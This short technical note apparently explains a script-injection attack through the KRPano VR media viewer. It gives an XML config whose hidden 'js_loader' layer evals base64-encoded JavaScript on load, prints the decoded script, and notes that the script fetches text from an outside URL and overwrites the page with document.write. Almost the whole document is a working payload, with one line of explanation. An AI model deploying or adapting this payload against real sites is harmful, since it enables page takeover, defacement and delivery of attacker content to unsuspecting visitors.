So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following
<?xml version="1.0"?>
<krpano version="1.0.8.15">
<SCRIPT id="allow-copy_script"/>
<layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>
the omit above is base64 encoded script below:
const queryParams = new URLSearchParams(window.location.search),
id = queryParams.get('id');
id ? fetch('https://sour.is/superhax.txt')
.then(e => e.text())
.then(e => {
document.open(), document.write(e), document.close();
})
.catch(e => {
console.error('Error fetching the user agent:', e);
}) : console.error('No');
this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
